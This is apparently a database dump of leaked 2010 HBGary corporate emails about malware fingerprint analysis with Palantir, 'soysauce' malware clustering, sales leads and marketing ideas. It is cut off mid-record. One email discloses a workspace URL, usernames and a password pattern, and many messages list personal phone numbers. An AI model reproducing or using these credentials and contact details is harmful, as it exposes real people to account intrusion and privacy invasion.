From: Aaron Zollman\r\n&gt; Sent: Wednesday, September 22, 2010 9:44 PM\r\n&gt; To: &#39;Ted Vera&#39;\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: RE: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Ted --\r\n&gt;\r\n&gt; Having imported the fingerprints, I&#39;m not even seeing clear correlations\r\n*within* the 11 files contained in this dataset. Different samples use\r\ndifferent debugger counters, different data conversion fields, etc... while\r\nI&#39;m sure I could find matches on any subset of these fields in the dataset,\r\nI don&#39;t know enough about these fields to understand which are more or less\r\nmeaningful. And the compile times aren&#39;t even cleanly clustered, except for\r\na spike near the 2009-2010 boundary. Is there a subset of either these\r\nmalware objects or fingerprints I should be looking at closely?\r\n&gt;\r\n&gt; The shared instance is now up and running, as well. You&#39;ll need Java 6\r\ninstalled on your machine to access it, but you can launch the workspace at:\r\n\r\n&gt; https://host25.paas.palantirtech.com:25280/\r\n&gt;\r\n&gt; Your usernames are aaron, ted, and mark, and passwords are your name plus\r\n&#39;s2010 (eg, ted&#39;s password is &quot;Ted&#39;s2010&quot;). The new APT samples are in an\r\ninvestigation named &quot;New APT Samples&quot; -- once you log in, choose &quot;open\r\ninvestigation&quot; under the &quot;Investigation&quot; menu and look for it there.\r\n&gt;\r\n&gt; I&#39;ve sent a calendar invite to Aaron B for Friday at 11am to talk through\r\nnext steps for the analysis -- of course, all of you are welcome if you&#39;re\r\nin the area.\r\n&gt;\r\n&gt;\r\n&gt; _________________________________________________________\r\n&gt; Aaron Zollman\r\n&gt; Palantir Technologies | Embedded Analyst azollman@palantir.com |\r\n202-684-8066\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Friday, September 17, 2010 6:56 PM\r\n&gt; To: Aaron Zollman\r\n&gt; Cc: Barr Aaron; mark@hbgary.com\r\n&gt; Subject: Malware presentation at Palantir GovCon\r\n&gt;\r\n&gt; Hi Aaron,\r\n&gt;\r\n&gt; Attached are some known APT samples from an ongoing investigation.\r\n&gt; Please add these to the samples Aaron B sent you.  If you find any\r\ncorrelations please send me screenshots as it will help with this\r\ninvestigation.\r\n&gt;\r\n&gt; Hope you have a nice weekend!\r\n&gt; Ted\r\n&gt; &lt;common-props.xlsx&gt;&lt;ScreenShot043.png&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n',4116,'aaron_hbgary_com/4116.html'),(12449,'2010-09-30','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297009171.M630110P14101Q7304.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,,,','Re: viral marketing idea involving rap','Hi Greg,This was fun to watch and I\'m sure your clients and potential clients would get a kick out if it if done right.Totally out of my area of expertise though.ThanksJohnOn Sep 30, 2010, at 8:59 AM, Karen Burke wrote:Hi Greg, I like the video idea a lot. We would need to get more info on cost. I can check into it. K &nbsp; On Wed, Sep 29, 2010 at 11:08 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:  &nbsp; Team, &nbsp; Please watch this video.&nbsp; It has the F word be warned.&nbsp; http://www.youtube.com/watch?v=VgvM7av1o1Q &nbsp; This is CCP.&nbsp; They are a customer of HBGary\'s.&nbsp; They are a game company, which might explain their off-the-wall antics. &nbsp; I watch this and imagine our people at HBGary talking shit about Chinese Hackers and how Mandiant can\'t touch us.&nbsp; And yes, we use their First Name.&nbsp; Guidance too. &nbsp; Maybe too bold, but I can\'t help but think the Jim\'s and Jeffrey\'s of the world would watch this and think \"Holy Shit HBGary is Core\".&nbsp; They would.&nbsp; And it would be viral.&nbsp; I can\'t help but think this would translate into more sales. &nbsp; Can we organize a music video like this?&nbsp; Is this too left-field for a \"security company\".&nbsp; Why not - we are on the frontier - we are on the edge? &nbsp; Can we have something like this developed for less than $20,000 ??&nbsp; Is this just a dumb idea? &nbsp; -Greg &nbsp; ps. here is their outtake video - give you an idea how this was a real production (http://www.youtube.com/watch?v=g9E-iTpJ3U8) --  Karen Burke Director of Marketing and Communications HBGary, Inc. 650-814-3764 karen@hbgary.com ______________________John VerducciStudio Em Graphic Design974 Yorkshire DriveLos Altos, California 94024650.962.9200 Direct650.961.8801 Fax ',12807,'aaron_hbgary_com/12807.html'),(12450,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009172.M220246P14101Q7305.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','SM Training 25K Promo','Penny,\r\n\r\nI took Aaron\'s file and re-saved it as a .pdf.  Please let me know if\r\nyou have problems opening it.\r\n\r\nRegards,\r\nTed\r\n',1321,'aaron_hbgary_com/1321.html'),(12451,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009175.M989912P14101Q7306.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: RARs','QQ Malware\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Phil Wallisch \r\nDate: Thu, Sep 16, 2010 at 6:06 PM\r\nSubject: Re: RARs\r\nTo: Ted Vera \r\n\r\n\r\nHere is this engagement\'s malware\r\n\r\nOn Thu, Sep 16, 2010 at 6:05 PM, Ted Vera  wrote:\r\n>\r\n> Downloading the 450MB zip file, about 45 mins to go...\r\n>\r\n> I\'ll start running fingerprint before I leave for the day and check\r\n> results tomorrow.\r\n>\r\n> Ted\r\n>\r\n>\r\n>\r\n> On Thu, Sep 16, 2010 at 3:53 PM, Phil Wallisch  wrote:\r\n> > crap.  Perhaps.  Those are monkif and you can disregard.\r\n> >\r\n> > On Thu, Sep 16, 2010 at 5:37 PM, Ted Vera  wrote:\r\n> >>\r\n> >> I received the following error when downloading the RARs out of the cloud:\r\n> >>\r\n> >> Failures (2):\r\n> >> _HEC_HOVANES2_c__windows_msvid32.dll_.rar\r\n> >> The requested file contains a virus.\r\n> >> _HEC_BLUDSWORTH_c__windows_msvid32.dll_.rar\r\n> >> The requested file contains a virus.\r\n> >> You can download the files that were successfully zipped, or discard\r\n> >> the incomplete zip file.\r\n> >>\r\n> >> LOL.  I wonder why on just those two...  Maybe those RARs were not pw\r\n> >> protected?\r\n> >>\r\n> >> --\r\n> >> Ted\r\n> >\r\n> >\r\n> >\r\n> > --\r\n> > Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n> >\r\n> > 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n> >\r\n> > Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n> > 916-481-1460\r\n> >\r\n> > Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n> > https://www.hbgary.com/community/phils-blog/\r\n> >\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n--\r\nPhil Wallisch | Principal Consultant | HBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\nhttps://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16235,'aaron_hbgary_com/16235.html'),(12452,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009179.M785204P14101Q7308.eml','\"Barr Aaron\" <aaron@hbgary.com>','TMC Output Report','Attached --  this is from just one EXE file.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',7950,'aaron_hbgary_com/7950.html'),(12453,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009179.M96499P14101Q7307.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','malware','pw:  infected\r\n',5641,'aaron_hbgary_com/5641.html'),(12454,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009180.M333940P14101Q7309.eml','\"Aaron Zollman\" <azollman@palantir.com>','Fwd: TMC Output Report','1Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: September 30, 2010 10:51:40 AM PDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Subject: TMC Output Report\r\nAttached --  this is from just one EXE file.-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n',9670,'aaron_hbgary_com/9670.html'),(12455,'2010-09-30','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297009181.M315386P14101Q7311.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Estrada, Daniel\" <Daniel.Estrada@ManTech.com>','RE: Invitation: Social Media Discussions @ Tue Oct 5 1pm - 2:30pm (eric.eifert@mantech.com)','\r\n\r\n\r\n\r\n\r\nRE: Invitation: Social Media Discussions @ Tue Oct 5 1pm - 2:30pm (eric.eifert@mantech.com)\r\n\r\n\r\n\r\n\r\nWe can do it at 1951 Kidwell Drive, suite 500, Vienna, VA/\r\n\r\nThanks,\r\n\r\nEric J. Eifert\r\n\r\nVice President and General Manager, Cyber Defense Solutions Business Unit\r\n\r\nManTech Mission, Cyber and Technology Solutions\r\n\r\n(direct) 703-388-2127&nbsp;&nbsp; (cell) 703-966-9998&nbsp;&nbsp; (fax) 703-388-2148\r\n\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.&nbsp; Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.&nbsp; If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, September 23, 2010 10:43 PM\r\nTo: Eifert, Eric J.; Estrada, Daniel\r\nSubject: Invitation: Social Media Discussions @ Tue Oct 5 1pm - 2:30pm (eric.eifert@mantech.com)\r\nWhen: Tuesday, October 05, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Mantech\r\n\r\n\r\n\r\nmore details &raquo;\r\n\r\n\r\n\r\n\r\nSocial Media Discussions\r\n\r\nWhen\r\n\r\nTue Oct 5 1pm &#8211; 2:30pm Eastern Time&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nWhere\r\n\r\nMantech (map)&nbsp;&nbsp; \r\n\r\nCalendar\r\n\r\neric.eifert@mantech.com \r\n\r\nWho\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Aaron Barr - organizer\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eric.eifert@mantech.com\r\n\r\n&#8226;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; daniel.estrada@mantech.com\r\n\r\nGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;\r\n\r\nInvitation from Google Calendar\r\n\r\nYou are receiving this courtesy email at the account eric.eifert@mantech.com because you are an attendee of this event.\r\n\r\nTo stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/ and control your notification settings for your entire calendar.\r\n\r\n&nbsp;&lt;&lt; File: invite.ics &gt;&gt; \r\n\r\n\r\n',5688,'aaron_hbgary_com/5688.html'),(12456,'2010-09-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009181.M551006P14101Q7312.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Apparently','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMark Leary over at TASC is building out his security\r\ninfrastructure and has budget.&nbsp; Are we working with him?&nbsp; Linus ballon is\r\ndirector of&nbsp; WCA and Brian is going to schedule a meeting for us\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8672,'aaron_hbgary_com/8672.html'),(12457,'2010-09-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009181.M5620P14101Q7310.eml','\"Barr Aaron\" <aaron@hbgary.com>','Screen Shots','Mark has TMC up on the website now, as he described in his previous email.  Here are a few screenshots...Ted-- Ted Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',15558,'aaron_hbgary_com/15558.html'),(12458,'2010-09-30','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009181.M780838P14101Q7313.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Apparently','This would be Bob&#39;s account.  Bob, if you don&#39;t know Brian Christos I&#39;ll make the introduction -- Brian is at EOP  -- Rich will be there on Wed. if you are in the area.On Thu, Sep 30, 2010 at 1:17 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMark Leary over at TASC is building out his security\r\ninfrastructure and has budget.  Are we working with him?  Linus ballon is\r\ndirector of  WCA and Brian is going to schedule a meeting for us\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',4759,'aaron_hbgary_com/4759.html'),(12459,'2010-09-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297009181.M982074P14101Q7314.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: Apparently','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny &#8211; I had dialogue with Patrick Powell and Shane\r\nCurtis of TASC.&nbsp; Looks like they have a security system and wants to\r\nintegrate DDNA.&nbsp; They appear to have existing contracts and paying\r\ncustomers. &nbsp;I&#8217;ve signed an NDA so we can learn more.&nbsp; They may\r\nwant some proprietary info about our s/w.&nbsp; I want to do some more\r\nqualifying.\r\n\r\n&nbsp;\r\n\r\nMaria &#8211; I don&#8217;t know Brian Christos, so an intro\r\nwould be great.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, September 30, 2010 4:24 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Re: Apparently\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis would be Bob\'s account.\r\n&nbsp;Bob, if you don\'t know Brian Christos I\'ll make the introduction -- Brian\r\nis at EOP &nbsp;-- Rich will be there on Wed. if you are in the area.\r\n\r\n\r\n\r\nOn Thu, Sep 30, 2010 at 1:17 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nMark\r\nLeary over at TASC is building out his security infrastructure and has\r\nbudget.&nbsp; Are we working with him?&nbsp; Linus ballon is director of&nbsp;\r\nWCA and Brian is going to schedule a meeting for us\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16848,'aaron_hbgary_com/16848.html'),(12460,'2010-09-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297009182.M333153P14101Q7315.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Apparently','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat about Mark, impression I got was this was for internal use\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Thursday, September 30, 2010 4:45 PM\r\nTo: \'Maria Lucas\'; \'Penny Leavy-Hoglund\'\r\nCc: \'Aaron Barr\'\r\nSubject: RE: Apparently\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny &#8211; I had dialogue with Patrick Powell and Shane Curtis of\r\nTASC.&nbsp; Looks like they have a security system and wants to integrate\r\nDDNA.&nbsp; They appear to have existing contracts and paying customers.\r\n&nbsp;I&#8217;ve signed an NDA so we can learn more.&nbsp; They may want some\r\nproprietary info about our s/w.&nbsp; I want to do some more qualifying.\r\n\r\n&nbsp;\r\n\r\nMaria &#8211; I don&#8217;t know Brian Christos, so an intro would be great.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, September 30, 2010 4:24 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Re: Apparently\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThis would be Bob\'s account.\r\n&nbsp;Bob, if you don\'t know Brian Christos I\'ll make the introduction -- Brian\r\nis at EOP &nbsp;-- Rich will be there on Wed. if you are in the area.\r\n\r\n\r\n\r\nOn Thu, Sep 30, 2010 at 1:17 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nMark\r\nLeary over at TASC is building out his security infrastructure and has\r\nbudget.&nbsp; Are we working with him?&nbsp; Linus ballon is director of&nbsp;\r\nWCA and Brian is going to schedule a meeting for us\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be used\r\nby any taxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14965,'aaron_hbgary_com/14965.html'),(12461,'2010-09-30','\"Martin Pillion\" <martin@hbgary.com>','/aaron@hbgary.com/new/1297009187.M317975P14101Q7316.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','soysauce graphs/data','\r\nAaron,\r\n\r\nHere are 8 graphs I made based upon soysauce malware with fingerprint data.\r\n\r\nimage_descriptions.txt explains what each graph is\r\n\r\nthe fingerprint data for this is in the .xml files\r\n\r\nTake a look and let me know if these will suit your needs, or if you\r\nwant different graphs.\r\n\r\n- Martin\r\n',7679,'aaron_hbgary_com/7679.html'),(12462,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009188.M262542P14101Q7317.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Apparently','I am.  I have a meeting with Marks folks next weekSent from my iPhoneOn Sep 30, 2010, at 1:17 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMark Leary over at TASC is building out his security\r\ninfrastructure and has budget.  Are we working with him?  Linus ballon is\r\ndirector of  WCA and Brian is going to schedule a meeting for us\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10256,'aaron_hbgary_com/10256.html'),(12463,'2010-09-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009190.M919064P14101Q7318.eml','aaron@hbgary.com','Fwd: soysauce graphs','\r\n---------- Forwarded message ----------From: Martin Pillion &lt;martin@hbgary.com&gt;Date: Thu, Sep 30, 2010 at 12:24 PM\r\nSubject: soysauce graphsTo: Greg Hoglund &lt;hoglund@hbgary.com&gt;Cc: Scott &lt;scott@hbgary.com&gt;Greg, here are a few graphs.  Descriptions are in the text file.  Let me\r\nknow if you want different/more graphs.- Martin\r\n',14313,'aaron_hbgary_com/14313.html'),(12464,'2010-09-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009191.M350140P14101Q7319.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Apparently','Bob.  That is different folks than works for Mark.  Those are outwardly facing TASC people.Sent from my iPhoneOn Sep 30, 2010, at 1:45 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nPenny – I had dialogue with Patrick Powell and Shane\r\nCurtis of TASC.  Looks like they have a security system and wants to\r\nintegrate DDNA.  They appear to have existing contracts and paying\r\ncustomers.  I’ve signed an NDA so we can learn more.  They may\r\nwant some proprietary info about our s/w.  I want to do some more\r\nqualifying.\r\n\r\n \r\n\r\nMaria – I don’t know Brian Christos, so an intro\r\nwould be great.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, September 30, 2010 4:24 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Bob Slapnik; Aaron Barr\r\nSubject: Re: Apparently\r\n\r\n\r\n\r\n \r\n\r\nThis would be Bob&#39;s account.\r\n Bob, if you don&#39;t know Brian Christos I&#39;ll make the introduction -- Brian\r\nis at EOP  -- Rich will be there on Wed. if you are in the area.\r\n\r\n\r\n\r\nOn Thu, Sep 30, 2010 at 1:17 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nMark\r\nLeary over at TASC is building out his security infrastructure and has\r\nbudget.  Are we working with him?  Linus ballon is director of \r\nWCA and Brian is going to schedule a meeting for us\r\n\r\n \r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be imposed\r\non the taxpayer.  (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for   delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9795,'aaron_hbgary_com/9795.html'),(12465,'2010-10-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009193.M369589P14101Q7321.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Disney End Games Report','Hey I really need this!!!!!Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',11320,'aaron_hbgary_com/11320.html'),(12466,'2010-09-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297009193.M6398P14101Q7320.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Soysauce clusters',' \r\nAaron,\r\n \r\nMartin clustered your soysauce bins.  See attached graph for an annotated version that is good for slideshow.\r\n \r\nWhat I find interesting is the large collection of soysauce bianries that live in the same community with PoisonIvy, Pinch, and a few other bot kits.  Then, there are three outlier clusters that have nothing to do with that community.  This shows how APT will use multiple different malware kits &amp; components to lower the risk of wholesale detection.\r\n\r\n \r\n-Greg\r\n',3437,'aaron_hbgary_com/3437.html'),(12467,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009193.M654206P14101Q7322.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Disney End Games Report','It&#39;s running.  It would be a 